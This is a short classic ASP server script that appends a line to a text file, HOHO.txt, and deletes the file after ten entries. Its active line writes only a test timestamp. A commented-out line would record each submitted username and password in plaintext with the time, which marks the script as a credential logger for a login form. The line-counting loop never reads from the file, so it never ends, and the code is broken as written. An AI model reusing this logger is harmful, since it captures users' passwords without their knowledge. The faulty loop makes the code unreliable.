<%
'If Request("Submit")<>"" Then
Dim i : i=0
Dim nums : nums=10 '记录条数
Dim HO : Set HO=Server.CreateObject("scripting.filesystemobject")
Dim HOJ : Set HOJ=HO.OpenTextFile(Server.MapPath("HOHO.txt"),8,true)
Dim HOR : Set HOR=HO.OpenTextFile(Server.MapPath("HOHO.txt"))
 'HOJ.Writeline "用户："&Request("username")&"  ---  密码："&Request("password")&" ---- 记录时间"&now()
 HOJ.Writeline "test:"&now()
  Do While HOR.AtEndOfStream<>True
 i=i+1
  Loop
HOJ.close : Set HOJ=Nothing
HOR.close : Set HOR=Nothing
If i>nums Then HO.DeleteFile Server.MapPath("HOHO.txt"),true
Set HO=nothing
'End If
%>